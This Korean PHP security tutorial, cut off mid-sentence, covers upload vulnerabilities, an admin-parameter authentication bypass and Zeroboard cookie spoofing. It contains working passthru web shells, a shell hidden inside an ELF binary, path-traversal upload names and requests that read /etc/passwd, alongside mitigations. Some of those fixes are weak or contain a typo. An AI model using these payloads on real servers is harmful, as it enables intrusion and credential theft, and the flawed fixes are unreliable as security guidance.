$in_file - Upload 된 File 내용이 저장되어 있는 서버의 임시 File name
$in_file_name - Upload 한 시스템에서 사용하는 File 의 원래 이름
$in_file_size - byte 단위의 Upload된 파일의 크기.
$in_file_type - 만약 browser가 업로드된 파일의 mime 형식을 안다면
그 mime 형식. (Ex. "image/gif").
이해를 돕기 위해 위와 같은 폼으로 자료를 올렸을때 나타나는 결과를 보자.
나는 2309 byte 사이즈의 test.txt 라는 파일을 서버에 올렸다.
<?
echo "in_file = $in_file<br>";
echo "in_file_name = $in_file_name<br>";
echo "in_file_size = $in_file_size<br>";
echo "in_file_type = $in_file_type<br>";
?>
[결과]
in_file = /tmp/phpoIVrVs
in_file_name = test.txt
in_file_size = 2309
in_file_type = text/plain
우리는 form 의 file type 을 이용하여 in_file 이라는 파일을 올렸는데
3 가지의 변수가 자동으로 붙었다. 이 변수들은 파일의 type 을 체크하거나
파일 사이즈등을 체크하려할때 아주 유용하게 사용되어 진다.
하지만 여기에 Hacking 에 이용될 수 있는 취약점이 발생한다.
예를 들어 다음의 소스를 보자.
write_ok.php
1 <?
2
3 /* 생략 */
4
5 if($in_file_name)
6 {
7 if($in_file_size == 0)
8 {
9 echo "모양 파일 크기 0 이양";
10
11 exit;
12 }
13
14
15
16 }
17
18 if($in_file != "none" && $in_file)
19 {
20 $filetype = split("/", $in_file_type);
21 $filetype = $filetype[0];
22
23 if($filetype == "text")
24 $in_file_name = $in_file_name.".txt";
25
26 $exist = file_exists("data/$in_file_name");
27
28 if($exist)
29 {
30 echo "동일한 파일이름이 이미 존재합니다.";
31 exit;
32 }
33
34 if(!copy($in_file, "data/$in_file_name"))
35 {
36 echo "파일 저장 실패! 다시 올리라.";
37 exit;
38 }
39
40 chmod("data/$in_file_name", 0444);
41
42 unlink($in_file);
43 }
44
45 /* 생략 */
46
47 ?>
위 Source 에는 Hacking 취약성이 존재한다.
이 취약성의 가장 핵심이 되는 내용은 File Upload 후에 자동적으로 붙는
$in_file_name 과 $in_file_size, $in_file_type 등은 Client 마음대로 바꿀
수 있다는 것이다.
위 3 개의 변수들은 Server 에서 자동적으로 처리를 해주기는 하지면 우리에게
우선권이 있다. 만약 우리가 query 를 보낼때 in_file_name=/etc/passwd 이런
식으로 정의를 해준다면 Server 에서는 자기 임의대로 in_file_name 을 정의하지
않는다. (이해를 쉽게 하기 위해 위의 표현을 쓴 것을 이해바란다.)
write_ok.php 에서 CGI 를 올릴 수 없게 조취를 취한 것은 무엇이 있는지
알아보자.
먼저 5 번째 줄에서 in_file_name 변수가 존재한다면, 그러니까 사용자가
File 을 올렸다면 그 File Size 가 0 인지 검사를 한다. 0 이라면 잘못된
것으로 인식하여 Script 를 중지시킨다. 그리고 in_file 이 none 이 아니고
존재했을때, file 의 type 을 구한다. 만약 File Type 이 text 형식이라면
File 의 이름 뒤에 txt 를 붙인다. 이렇게 하는 이유는 만약 test.php 같은
Script 를 올렸을때 뒤에 .txt 를 붙여서 WebServer 에서 php 를 실행하지
않게끔 하기 위한 조취이다. 그래서 위의 상태라면 만약 hacking.php 라는
File 을 올렸다면 Server 에는 hacking.php.txt 라는 File 이 될 것이다.
26~32 줄은 File 이 Server 에 이미 존재하는지 확인하는 루틴이고 34 번 줄은
Server 에 올려진 임시파일을 in_file_name 으로 Copy 를 하는 것이다.
40 번째 줄은 퍼미션은 444 로 주었다. (user, group, other 에 read 권한만
부여를 의미) 그리고 42 번째 줄에서 Server 에 올려진 임시파일을 지웠다.
자 이제 이런 체크를 교묘히 빠져나가 보자. 빠져나가는 방법에는 여러 가지
방법이 있는데 첫번째는 in_file_name 과 in_file_size 를 조작하는 방법이다.
먼저 File 을 Read 할 수 있는 방법부터 보겠다. File Read 에서 가장 주의깊게
봐야할 부분은 34 번째 줄이다.
File 을 올리기 위해선 File Size 가 0 이 아니어야 한다. 그래서 File Size 에
임의의 값 100 을 주겠다.
(여기서 잠깐 php 에서 Copy Function 의 사용법을 간략하게 알아보겠다.
문법은 다음과 같다. copy(src, dst); src 파일을 dst 로 copy 하라는 뜻이다.)
src 에 들어가는 in_file 을 /etc/passwd 로 하겠다. 그리고 dst 에는 passwd.txt
라고 하겠다. 위의 상황을 종합적으로 정리해봤을때 서버에 가야하는 query 는
다음과 같다.
http://server/write_ok.php?in_file=/etc/passwd&in_file_name=passwd.txt&in_file_size=100
위와 같이 보낸다면 php 는 실제로 이렇게 작동될 것이다.
if(!copy("/etc/passwd", "data/passwd.txt"))
그럼 실제로 passwd.txt 를 요청하여 보자.
[요청]
http://server/data/passwd.txt
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
Remote File Read Attack 을 성공하였다. 하지만 진정한 Cracker 라면 여기서 만족
하지 않는다. System Command Execute 까지 성공하여 보자.
위 File Read 방법과 원리는 비슷하므로, 간략하게 절차적으로 설명하고, 필요한
부분만 더 설명을 하겠다.
먼저 서버에 정상적인 text File 을 하나 올리자.
hack.txt
<?
passthru($beist);
?>
hack.txt 이 정상적으로 Server 에 올려졌다면 hack.txt 는 hack.txt.txt 로 변해
있을 것이다. (이해가 안된다면 20~24 번째 줄을 보자.)
그리고 이렇게 요청을 하자.
http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100
원리를 살펴보자. 우리는 먼저 hack.txt 를 올렸다. hack.txt 에는 시스템에
명령을 실행할 수 있는 passthru Function 이 담겼다. txt 확장자 파일로는 아무것도
할 수 없지만, 이 파일을 이용하여 realhack.php 으로 카피한 것이다.
실제로는 이렇게 카피가 될 것이다.
if(!copy("data/hack.txt.txt", "data/realhack.php"))
우리는 이로써 realhack.php 을 이용하여 System 의 Shell 을 따내게 되었다.
[요청]
http://server/data/realhack.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
또 다른 방법은 hack.php 라는 File 을 in_file 과 in_file_name 의 query 조작
말고도 in_file_type 을 임의로 변경하여 text file 이 아닌 것처럼 올린다면
뒤에 뒤에 txt 확장자가 붙지 않으니 정상적으로 Server 에서 Shell 을 실행시킬
수 있을 것이다. 이 방법은 위에서 많이 설명하였으니 실질적인 공격 방법은
설명하지 않겠다.
두번째 공격 방법에 대해서 알아보자.
두번째 공격 방법에서는 in_file 같은 변수들을 조작하지 않고 Hacking 을 할
것이다. 20~24 번째 줄에서는 text 파일일 경우에만 file name 뒤에 txt 를
붙인다. 그렇다면 text type 이 아닌 binary file 을 올리면 어떻게 될까?
확장자가 php 라도 binary file 이라면 20~24 줄 검사에서 text 가 아니니
뒤에 txt 가 붙지도 않을 것이다.
php binary file(?) 을 만들어 보자. (Zend 가 아닌)
hack.c
#include <stdio.h>
main()
{
}
$ gcc -o hack.php hack.c
$ vi hack.php
^?ELF^A^A^A^@^@^@^@^@^@^@^@^@^B^@^C^@^A^@^@^@0~C^D^H4^@^@^@L(^@^@^@^@^@^@
F^@(^@^^^@^[^@^F^@^@^@4^@^@^@4~@^D^H4~@^D^H?@^@^@?@^@^@^E^@^@^@^D^@^@^@
@?@^@^@?@^D^H?@^D^H^S^@^@^@^S^@^@^@^D^@^@^@^A^@^@^@
<? passthru($beist); ?>
^A^@^@^@^@^@^@^@^@~@^D^H^@~@^D^H?D^@^@?D^@^@^E^@^@^@^@^P^@^@^A^@^@^@?D
^D^H?T^D^H?@^@^@?@^@^@^F^@^@^@^@^P^@^@^B^@^@^@?D^@^@?T^D^H?T^D^H| ^
<@^@^@^F^@^@^@^D^@^@^@^D^@^@^@^H^A^@^@^H~A^D^H^H~A^D^H ^@^@^@ ^@^@^@^D^@^
^@^@/lib/ld-linux.so.2^@^@^D^@^@^@^P^@^@^@^A^@^@^@GNU^@^@^@^@^@^B^@^@^@^@
vi 저장후 빠져나옴.
위에 대해서 설명을 하겠다. 먼저 아무런 기능도 하지 않는 hack.c 라는 file
을 만든 후 hack.php 로 컴파일을 한다. 컴파일한 file 을 열어 (열었을때 이상
한 문자가 나올 것이다.) 그 중간에 시스템에 명령을 실행할 수 있는 Code 를
넣는다. (passthru Function)
이제 이 File 은 중간에 Text Code 넣었음에도 binary File 이다. 비교를
해보자.
test.php
<?
passthru($beist);
?>
$ file test.php
test.php: ASCII text
$ file hack.php
hack.php: ELF 32-bit LSB executable, Intel 80386, version 1, statically
linked (uses shared libs), stripped
우리의 hack.php 는 ELF 포맷을 갖는 binary 가 되었다. 이 File 을 서버에
올리면 File Type 에 걸리지 않고 무사히 올라가게 될 것이고 중간에 넣은
Code 로 Cracker 는 Hacking 을 할 수 있다.
[요청]
http://server/data/hack.php?beist=cat /etc/passwd
[결과]
ELF^^A^A^A^A^A^A^A^A^A^A^A^A^A^A^A^C^F^^E@^F^
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
(위의 경우, C 로 짜여진 CGI 를 File Type Text 검사에 걸리지 않아서 넘어
갈 수 있겠지만 퍼미션을 user, group, other 에 read 만 부여하였기 때문에
Forbidden 이 나올 것이다.)
이제 이 두 Hacking 방법에 대한 대처 방안을 알아보자.
PHP 에서는 이 환경 변수에 의한 취약성을 인식하고 새로운 Function 을
내놓게 되었다. 바로 is_uploaded_file 이다. 이 Function 을 써서 사용자가
올린 파일이 정상인지 아닌지 체크가 가능하다.
수정된 write2_ok.php 의 일부분을 살펴보겠다.
write2_ok.php
1 if($in_file != "none" && $in_file)
2 {
3 $not_file = is_uploaded_file($in_file);
4
5 if( !$not_file ) {
6 echo "장난 하냐?"; exit; }
7
8 $filetype = split("/", $in_file_type);
9 $filetype = $filetype[0];
3 번째 줄에서 사용자가 Upload 한 파일이 정상적으로 올린 파일인지 아닌지
검사를 하기 위해 is_uploaded_file 를 실행하여 만약 정상적이지 않다면
스크립트를 중지시킨다.
[요청]
http://server/write_ok.php?in_file=data/hack.txt.txt&in_file_name=realhack.php&in_file_size=100
[결과]
장난 하냐?
성공적으로 막았다. 하지만 이 방법으로는 안전하지 않다. 사용자가 in_file
은 정상적인 File 을 Upload 하고 in_file_name 을 조작하여 보낼 수도 있기
때문이다.
예를 들어
<form action=write_ok.php method=post enctype="multipart/form-data">
Send this file: <input type=file name=in_file>
<input type=hidden name=in_file_name value="test.php">
<input type=submit value=Send>
</form>
이렇게 hidden type 으로 data 를 하나 올린다면 Server 에서 사용자가 올린
hacking.txt 의 file 을 test.php 로 copy 할 것이다.
hacking.txt
<?
passthru($beist);
?>
[요청]
http://server/data/test.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
조금 더 안전하게 하기 위해 $in_file_name 의 이름 중에 php 관련 파일이
있다면 취소를 하게끔 추가하도록 하자.
if(eregi("php", $in_file_name))
{
echo "장난하니?.. file 이름에 php 가 들어있습니다.";
exit;
}
그리고, 상위 디렉토리의 진입을 막기 위한 조취도 취해놓자.
if(eregi("\.\.", $in_file))
{
echo "장난하니?.. file 이름에 .. 가 들어있으면 안됩니다.";
exit;
}
두번째, binary File 을 올려서 File type 을 속이는 Hacking 에 대한 대처
방법을 알아보자.
어떤 상황이라도 사용자가 Server 에 php 관련 파일의 확장자를 올리는 것은
위험하다. 실제로 그 File 이 실행이 되지 않더라도 말이다.
그래서 애초에 File Name 에 php 관련 파일이 들어가선 안되도록 조취를
취하는 것이 좋은 방법이다.
if(eregi("php", $in_file_name))
{
echo "장난하니?.. file 이름에 php 가 들어있습니다.";
exit;
}
아니면 File Name 을 확장자를 갖게 하지 말고 번호를 갖게 다음의 알고리즘을
적절히 이용하는 방법도 괜찮다.
$count=0;
$fp=fopen("count.txt", "r");
$count=fgets($fp, 10);
copy($in_file, "data/$count");
$count++;
fclose($fp);
$fp=fopen("count.txt", "w");
fputs($fp, $count, 10);
fclose($fp);
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
7) file upload 알고리즘 시의 주의할점 -4-
이번 주제는 Web CGI Board 에서 File Upload 시의 취약성에 대해서
알아보겠다. 벌써 file upload 관련 글이 4 개나 나왔는데 이 것으로
보아 Cracker 가 가장 좋아하는 것중 하나가 File Upload 라는 것은
확실하다.
그만큼 취약점이 나왔는데도 이번에는 어떠한 취약점이 나올까.
이번 역시 File 을 Upload 할때의 이름과 관계가 있다. 어떻게 보면
이번 버그는 개발자가 알고리즘을 짤때의 취약성은 아니고, php 에서
처리하는 방식에 따라서 문제가 있다.
우리가 파일을 올릴때는 보통 다음과 같은 형식으로 올리게 된다.
다음과 같은 File Upload 폼이 있다고 하자.
<form action=write_ok.php method=post enctype="multipart/form-data">
Send this file: <input type=file name=in_file>
<input type=submit value=Send>
</form>
그리고 file 이름에 다음과 같이 적어서 Send 버튼을 누르자.
c:\upload\test.txt
write_ok.php 의 소스는 다음과 같다.
write_ok.php
<?
echo "in_file = $in_file<br>";
echo "in_file_name = $in_file_name<br>";
echo "in_file_size = $in_file_size<br>";
echo "in_file_type = $in_file_type<br>";
?>
소스만 보고도 위의 Script 가 무엇을 하는지 알 수 있을 것이다. Send
버튼을 누르면 결과는 다음과 같이 나온다.
in_file = /tmp/phpO3EWtg
in_file_name = test.txt
in_file_size = 20
in_file_type = text/plain
보다시피 $in_file_name 에는 c:\upload\ 가 짤린 상태이다. 그러면 php
에서는 어떤 기준으로 in_file_name 을 구하는 것인가? 사용자가 입력한
file name 에서 Escape 문자로 구별한다. Escape 가 맨 마지막으로 쓰인
곳에서 뒤의 문자열들을 $in_file_name 으로 보는 것이다.
여기에는 심각한 Security Hole 이 있다.
가령 다음과 같은 File Name 을 주고 File 을 올렸다고 생각하여 보자.
c:\upload\a\../test.txt
위 File path 의 뜻을 굳이 해석하자면 다음과 같다. c:\upload\a 디렉토리
에서 한번 상위디렉토리로 이동한 후 test.txt 파일을 말한다. 결과적으로
이 것은 c:\upload\test.txt 이다.
하지만 위에서 설명했듯이 php 에서는 Escape 가 맨 마지막으로 쓰인 곳에서
뒤의 문자열들을 in_file_name 으로 생각한다. 그래서 서버에 저장되는
$in_file_name 은 ../test.txt 가 되는 것이다. 물론, Client 에서의 이
파일은 c:\upload\test.txt 이므로 아무런 이상 없이 Upload 가 된다.
만약 다음과 같은 소스가 있다고 하자.
1 <?
2
3 /* 생략 */
4
5 if($in_file_name)
6 {
7 if($in_file_size == 0)
8 {
9 echo "모양 파일 크기 0 이양";
10 exit;
11 }
12}
13
14 if($in_file != "none" && $in_file)
15 {
16
17 $exist = file_exists("data/$in_file_name");
18
19 if($exist)
20 {
21 echo "동일한 파일이름이 이미 존재합니다.";
22 exit;
23 }
24
25 if(!copy($in_file, "data/$in_file_name"))
26 {
27 echo "파일 저장 실패! 다시 올리라.";
28 exit;
29 }
30
31 chmod("data/$in_file_name", 0444);
32
33 unlink($in_file);
34 }
/* 생략 */
?>
그리고 httpd.conf 에서 data 디렉토리 밑에 있는 File 들은 Web 을 통해서는
읽지 못하도록 다음과 같이 설정을 하였다고 가정한다.
<DirectoryMatch "^/.*/data">
AddType application/x-httpd-php-source .phps .php .ph .php3 .cgi .sh .pl
.html .htm .shtml .vbs .ins .inc .py
Options FollowSymLinks
AllowOverride None
Order allow,deny
Deny from all
</DirectoryMatch>
이렇게 되면 hacking.php 같은 악의적인 파일을 서버에 올린다고 하여도 Web 에서
읽게 되면 Forbidden 이 나오므로 서버에 명령을 실행 할 수 없게 된다.
hacking.php
<?
passthru($beist);
?>
[요청]
http://server/data/hacking.php?beist=cat /etc/passwd
[결과]
Forbidden
You don't have permission to access /data/hacking.php on this server.
그러면 Cracker 는 hacking.php 를 올리고, 이를 올바르게 실행시키기 위해서는
data Directory 는 피해서 올려야 한다. 먼저 사전 조사를 통해서 Web Directory
중 Web Server UID 에게 퍼미션이 열려있는 Directory 를 찾아서 그 Directory에
올리기로 하고, 퍼미션이 열려있는 Directory 의 이름은 conf 라고 가정한다.
(퍼미션이 열려있는 Directory 에 대해서 조사하는 방법은 생략하겠다. 이 것의
방법은 정적이지 않은, 동적이고 즉 Cracker 의 노하우 같은 것이다.)
물론,
c:\upload\a\../hacking.php
이런 이름으로 서버에 올리면 /home/httpd/html/data Directory 가 아닌
/home/httpd/html Directory 에 올라가게 될 것이지만, /home/httpd/html/conf
Directory 를 따로 지정하는 이유는 다음과 같다. 첫째, 보통 /home/httpd/html
Directory 는 WebServer UID 가 write 할 퍼미션이 열려있지 않고 둘째, 상위
Directory 만이 아닌 Cracker 가 원하는 Directory 로 File 을 올리는 방법을
설명하기 위해서이다.
먼저 실제로 Computer 에 다음과 같은 File 과 경로를 만든다.
c:\upload\conf\hacking.php
그리고 Upload 할때의 이름을 다음과 같이 고친다.
c:\upload\conf\../conf/hacking.php
위 File Path 를 풀이해보자. c:\upload\conf 디렉토리에서 한단계 위로 올라간후
conf/hacking.php 를 뜻한다. 결국 위에서 말했듯이 php 에서는 $in_file_name 을
맨 마지막으로 쓰인 Escape 문자 뒤의 문자열들로 보니까 서버에 저장되는
$in_file_name 은 ../conf/hacking.php 가 될 것이다.
그러면 write_ok.php 에서 실제로 행해지는 copy Function 은 다음과 같이 행해질
것이다.
copy($in_file, "data/../conf/hacking.php")
[요청]
http://server/conf/hacking.php?beist=cat /etc/passwd
[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................
해결책을 알아 보자
이 문제점에 대한 근본적인 해결점은 아직까지 없는 것 같다. 약간은 이상한
버그이기도 한데, 막을 방법은 있다. $in_file_name 변수의 값 중에 이상한
문자가 있는지 확인하는 것이다.
if(eregi("\.\.", $in_file_name))
{
echo "file name 에 .. 가 들어갈 수는 없습니다.";
exit;
}
if(eregi("/", $in_file_name))
{
echo "file name 에 / 가 들어갈 수는 없습니다.";
exit;
}
if(eregi("\\$", $in-file_name))
{
echo "file name 에 이상한 문자가 들어있군요.";
exit;
}
더 완벽한 방법을 원한다면, Web Directory 의 열려있는 퍼미션을 체크하고,
불필요하다면 없앤다. 필요한 디렉토리는 httpd.conf 에 Web 에서 File 을
읽을 수 없게끔 설정을 한다. (Download 같은 것은 php File 에서 읽은 후
사용자에게 뿌려주는 방법등 여러가지가 있다. 이 방법에 대한 것은 12 번
장을 참조하라)
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
8) 변수 인증시의 주의할점
이번에 다룰 주제는 Web 프로그래밍에서 범하기 쉬운 실수 중의 한가지이다.
Computer Language 에는 비교문이 있다. 비교문을 이용하여 개발자는 여러가지
일을 할 수 있다. password 가 정확한지, 암호가 맞는지, 기타 등등 쓰이는
곳이 많다.
예를 들어서 특정 CGI script 에서 현재 Page 를 읽는 사용자가 Admin 인지
아닌지 확인해야 할 경우가 있을 것이다. 다음과 같은 절차가 있다고 하자.
1. Admin Page View (admin.html)
2. ID 와 Password 를 Client -> Sever 전송
3. Server 로 전달된 ID, Password 는 CGI 에서 체크함 (auth.php)
4. 만약 ID, Password 가 정확하다면 menu.php 로 admin=1 을 붙여
연결시켜 줌
/* menu.php 는 admin 만 View 할 수 있음 */
menu.php
<?
if(!$admin)
{
echo "당신은 Admin 이 아닙니다.";
exit;
}
echo "이 메뉴는 admin 만 볼수 있습니다.<br>";
echo "i love TTL<br>";
?>
/* menu.php 에서는 $admin 이라는 변수가 없다면 admin 이 아닌 걸로 인식
하여 스크립트 실행을 멈추고 만약 $admin 이라는 변수가 있다면 admin 으로
인식하여 admin 메뉴를 뿌려줍니다. */
admin.html
<html>
<head>
<title>Admin Page</title>
</head>
<body>
<center>
<form action=http://server/auth.php method=post>
Admin ID : <input type=text name=adminid><br>
Password : <input type=password name=adminpw><br>
</center>
</form>
</body>
</head>
</html>
/* admin.html 은 action 값을 auth.php 로 전달하고 method 로 post 를 사용
하였다. 사용자가 입력한 id 와 password 를 각각 adminid 와 adminpw 에
담아서 보낸다. */
auth.php
<?
if($adminid=="admin")
{
if($adminpw=="123456")
{
echo "<meta http-equiv=\"refresh\" content=\"1;url=menu.php?admin=1\" >";
}
else
{
echo "Wrong Password!";
}
}
else
{
echo "Wrong ID!";
}
?>
/* auth.php 에서는 사용자가 입력한 id 가 admin 인지 확인한다. 만약 admin 을
id 로 입력했다면 입력한 password 가 123456 이 맞는지 확인한다. 맞다면
meta tag 를 이용하여 menu.php 로 연결해줄 것이며 menu.php 를 요청할때
admin 이라는 인수를 주어 value 를 1 로 설정하였다. */
이와 같은 방법에는 취약성이 존재한다. 만약에 cracker 가 auth.php 를 거치지 않고
menu.php 를 바로 요청하여 admin 변수를 넣을수도 있으니까 말이다. 테스트를 하여
보자.
[요청]
http://server/menu.php
[결과]
당신은 Admin 이 아닙니다.
[요청]
http://server/menu.php?admin=1
[결과]
이 메뉴는 admin 만 볼수 있습니다.
i love TTL
이런 식으로 cracker 는 auth.php 를 거치지 않고도 menu.php 에 바로 admin 값을
인수로 보내어 인증을 회피 할 수 있다.
위와 같은 Script 는 거의 쓰이지 않을테지만 여기에서는 이해를 쉽게 하기 위해
간단한 프로그래밍을 한 것이다. 실제로 수천줄의 CGI 에서도 이와 유사한 버그로
위험을 보이는 것들도 많이 있다.
위와 같은 Script 일때 이를 해결하는 방법은
menu.php
<?
if($adminpw!="pwttl")
{
echo "당신은 Admin 이 아니군요.<br>";
echo "암호가 틀렸습니다.";
exit;
}
echo "이 메뉴는 admin 만 볼수 있습니다.<br>";
echo "i love TTL<br>";
?>
/* $adminpw 변수가 pwttl 이 아니라면 admin 이 아닌 것으로 간주하여 Script
실행을 중지시킨다. 만약 pwttl 이라면 Admin 메뉴를 보여준다. */
auth.php
<?
if($adminid=="admin")
{
if($adminpw=="123456")
{
echo "<meta http-equiv=\"refresh\" content=\"1;url=menu.php?admin=pwttl\" >";
}
else
{
echo "Wrong Password!";
}
}
else
{
echo "Wrong ID!";
}
?>
/* 종전의 admin=1 대신 admin=pwttl 로 value 를 바꾸어 menu.php 로 link 시켰다 */
이런 식으로 인증하는 것이 좋을 것이다. 하지만 이런 방법보다는 Cookie 나
Session 등을 이용하여 인증하는 것을 권한다.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
9) cookie 사용시 주의할점
이번 장에서 다룰 주제는 Web 에서 많이 쓰이는 Cookie 에 관한 내용이다.
Cookie 란 무엇인가? Web Language 에서 Cookie 는 여러가지에 유용하게 쓰인다.
Cookie 는 Client Computer 에 저장되는 것인데, CGI Program 에서는 이 Cookie 를
이용하여 좀 더 편리하고 간편한 CGI 를 짤 수도 있다. 예를 들어 Web Board 에서
각 Page 마다 인증이 필요한 경우도 있다. 뭐 admin 만 Access 할 수 있다던지
하는 Page 일 경우에 말이다. 이럴 경우 매 Page 의 Head 부분에 Client Computer
에서 Cookie 를 받아와 Access 하려는 사용자가 권한이 되는지 안되는지 알 수
있게끔 Cookie 가 사용될 수도 있다.
여기에서는 한때 Issue 가 됐던 Cookie Sniffing 과 더불어 Cookie Spoofing,
Cookie 사용시 잘못된 알고리즘 등을 알아볼 것이다. 실제로 존재하는 CGI Program
인 Zeroboard 4.0.x 버전을 이용하겠다. 이 버그는 필자가 발견한 버그로, 요즘의
버전에는 Patch 가 되었다.
zeroboard 는 PHP 로 만들어져 있으며 DATABASE 는 MySQL 을 사용하고 있다.
문제가 되는 부분은 zeroboard 에서 cookie 인증을 할때 잘못된 알고리즘을 사용
하기 때문이다.
문제가 되는 주요 소스는 zeroboard 에서 lib.php 이다.
1 function member_info()
2 {
3 global $HTTP_COOKIE_VARS, $member_table, $now_table;
4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid];
5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password];
6
7 // 우선 쿠키가 존재할때;;
8 if($cookie_userid&&$cookie_password)
9 {
10 // 접속 테이블에도 있는지를 검사;;
11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
12 user_id='$cookie_userid'"));
13 // 접속테이블에도있으면 값을 갖고 옴;;
14 if($check[0])
15 {
16 //다시 쿠키를 구움;;
17 setcookie("zetyxboard_userid",$cookie_userid,0,"/");
18 setcookie("zetyxboard_password",$cookie_password,0,"/");
19 mysql_query("update $now_table set logtime='".time()."' where
20 user_id='$cookie_userid'");
21 $member=mysql_fetch_array(mysql_query("select * from $member_table where
22 user_id='$cookie_userid' and password='$cookie_password'"));
23 }
24 else
25 {
26 setcookie("zetyxboard_userid","",0,"/");
27 setcookie("zetyxboard_password","",0,"/");
28 $member[level]=10;
29 }
30 }
31 else $member[level]=10;
32 return $member;
33 }
이 함수는 zeroboard lib.php 의 원본 소스중 이다. zeroboard 는 게시판에
가입한 멤버를 LEVEL 별로 설정할수 있는 등 커뮤니티 기능도 있다. 회원이
게시판을 이용할때 멤버에 대한 데이터를 가져오는 함수가 바로 이 member_info
함수이다.
첫번째 라인은 member_info 의 함수 정의이다. 3 번째 라인은 HTTP_COOKIE_VARS,
member_table, now_table 을 전역 변수로 설정해놓았고 4 번째 라인에서 cookie_userid
를 HTTP_COOKIE_VARS 의 zetyxboard_userid 로 설정하였다. 마찬가지로 5 번째
라인에서는 cookie_password 를 HTTP_COOKIE_VARS 의 zetyxboard_password 로
설정하였다.
HTTP_COOKIE_VARS 는 client (즉 사용자) 에서 전달해주는 cookie 값을 담아놓는
변수이다.
zetyxboard_userid 나 zetyxboard_password 같은 cookie 설정은 사용자가 login
페이지를 통해서 login 을 할때 설정이 된다.
cookie 설정 역시 lib.php 파일에서 check_login 함수에서 이루어진다.
1 /////////////////////////////////////////////////////////////////////////
2 // 로그인 시키는 부분
3 /////////////////////////////////////////////////////////////////////////
4 function check_login($user_id,$password)
5 {
6 global $connect, $member_table, $now_table, $id;
7 $check=mysql_fetch_array(mysql_query("select * from $member_table where
8 user_id='$user_id' and password=password('$password')"));
9 if($check[no])
10 {
11 $password=mysql_fetch_array(mysql_query("select password('$password')"));
12 setcookie("zetyxboard_userid",$user_id,0,"/");
13 setcookie("zetyxboard_password",$password[0],0,"/");
14
15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table
16 where user_id='$user_id'"));
17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."'
18 where user_id='$user_id'");
19 else mysql_query("insert into $now_table (user_id,group_no,logtime)
20 values ('$user_id','$check[group_no]','".time()."')");
21
22 return 1;
23 }
24 else Error("로그인을 실패하였습니다.");
25 }
7 번째 라인은 사용자가 전달한 id 와, password 값으로 member_table 에 실제로
존재하는 사용자인지 확인한다. 만약 올바른 사용자라면 check_login 함수는
client 에게 (보통 웹브라우저를 말합니다.) setcookie 함수를 이용하여 cookie를
설정하여 준다. zetyxboard_userid 와 zetyxboard_password 가 cookie 이다.
그리고 15 번째 줄부터 게시판에 현재 접속된 사용자의 ID 를 담아놓는 now_table
에 ID 를 update 를 하거나 추가를 한다. (만약 사용자가 정해진 시간동안 아무
런 페이지도 읽지 않거나, logout 을 하면 now_table 에서 사용자의 ID 가 삭제
됩니다. 그렇게 되면 login 이 안된 상태가 된다.)
다시 취약점의 근원이 되는 member_info 함수로 돌아가보자. member_info 함수는
이 사용자가 정당한 사용자인지 검사를 하는 기능도 있다. 첫번째로 사용자가
zetyxboard_userid 와 zetyxboard_password 쿠키가 있는지 확인한다. 이 확인은
8 번째 줄에서 한다. 그리고 또 한번의 확인으로 zeroboard 에서 사용하는 now_
table 에도 zetyxboard_userid 값이 담겨있는지 확인한다. 만약에 접속테이블에
도 사용자의 ID 가 있다면 이 사용자는 올바른 사용자이다.
하지만 여기에서 문제가 발생한다. 첫번째 확인에서 zetyxboard_userid 와 zetyx
board_password 쿠키는 사용자가 임의로 만들어서 보낼 수 있고, 두번째는 접속 테
이블에도 있는지 검사를 할때 zetyxboard_userid 만 갖고 체크를 하기 때문에
zetyxboard_password 가 정확하지 않더라도 상관이 없다. 그래서 해커가
zetyxboard_userid 와 zetyxboard_password 쿠키를 임의로 만들고, 현재 접속이 되어
있는 사용자의 ID 로 zetyxboard_userid 를 설정한다면 member_info 함수에서 해커는
올바른 사용자가 될 수 있다.
여기까지의 방법으로 우리는 접근할 수 없는 게시판과, 게시물을 읽을수가 있다.
(접근할 수 없는 경우는 사용자의 레벨과 접근하려는 게시판의 허용 레벨이
안 맞기 때문이다.) 왜냐하면 member_info 함수에서 21~22 번 줄을 보자.
member_table 에서 zetyxboard_userid 와 zetyxboard_password 가 담긴 데이터를
찾고 그 결과를 member 변수에 담는다. 만약 올바른 사용자라면 member 변수에는
사용자의 LEVEL 이나 이름, ID, PASSWORD 가 담길것이다. 하지만 해커에게는
